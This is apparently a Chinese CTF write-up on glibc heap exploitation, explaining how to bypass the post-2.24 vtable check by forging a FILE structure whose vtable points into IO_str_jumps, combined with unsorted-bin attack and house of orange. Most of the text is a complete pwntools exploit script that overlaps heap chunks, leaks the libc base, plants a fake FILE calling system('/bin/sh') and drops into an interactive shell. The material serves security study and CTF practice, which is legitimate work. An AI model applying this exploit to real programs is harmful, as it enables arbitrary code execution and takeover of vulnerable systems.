libc2.24以后加入了对 vtable 的检查,这里采用 IO_str_jumps,fake_files 如下:
第一种利用io_finish:
fake_file += p64(0) + p64(0x61)
fake_file += p64(0) + p64(io_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(bin_sh)
fake_file = fake_file.ljust(0xd8 + 0x20, "\x00")
fake_file += p64(io_str_jumps - 8) + p64(0) + p64(system)
其中 0x61 和 io_list_all 是 ub attack + house of orange
vtable 放入/bin/sh的地址
放入 io_str_jumps - 8
vtable+0x10 放入 system
第二种使用 IO_str_overflow:
其中_IO_str_overflow函数会调用文件对象fd+0xe0处的地址。
在house of orange的基础上进行更新,将虚表地址设置为IO_str_jumps地址,fd+0xe0设置为one_gadget即可完成利用。
file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(og)
完整exp:
from pwn import *
import sys
binary = "./pwn"
context.log_level = "debug"
context.binary = binary
context.arch = "amd64"
elf = ELF(binary)
local = 1
if local:
p = process(binary)
libc = elf.libc
# p = process(binary, env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
host = "node3.buuoj.cn"
port = 28488
p = remote(host, port)
libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.29-buu.so")
DEBUG = 0
if DEBUG:
gdb.attach(p,
'''
b *0x08048935
c
''')
def dbg():
gdb.attach(p)
pause()
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
r64 = lambda :u64(p.recv(6).ljust(8, "\x00"))
li = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()
menu = "Command: "
def cmd(ch):
p.recvuntil(menu)
p.sendline(str(ch))
def add(size):
cmd(1)
ru("Size: ")
sl(str(size))
def edit(idx, con):
cmd(2)
ru("Index: ")
sl(str(idx))
ru("Size: ")
sl(str(len(con)))
ru("Content: ")
se(con)
def dele(idx):
cmd(3)
ru("Index: ")
sl(str(idx))
def show(idx):
cmd(4)
ru("Index: ")
sl(str(idx))
add(0x18) #0
add(0x20) #1
add(0x100) #2
add(0x20) #3
pl = "\x00"*0x18 + p64(0x141)
edit(0, pl)
dele(1)
add(0x130) #1
# recover
pl = "\x00"*0x28 + p64(0x111)
edit(1, pl)
# overlap
dele(2)
show(1)
libc.address = l64() - libc.sym['__malloc_hook'] - 0x68
li("libc_base", libc.address)
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
io_str_jumps = libc.address + 0x3c37a0
io_list_all = libc.sym['_IO_list_all'] #0x3c5520
system = libc.sym['system']
bin_sh = libc.search("/bin/sh\x00").next()
fake_file = p64(0) * 4
fake_file += p64(0) + p64(0x61)
fake_file += p64(0) + p64(io_list_all - 0x10)
fake_file += p64(0) + p64(1)
fake_file += p64(0) + p64(bin_sh)
fake_file = fake_file.ljust(0xd8 + 0x20, "\x00")
fake_file += p64(io_str_jumps - 8) + p64(0) + p64(system)
edit(1, fake_file)
add(0x10)
# dbg()
ia()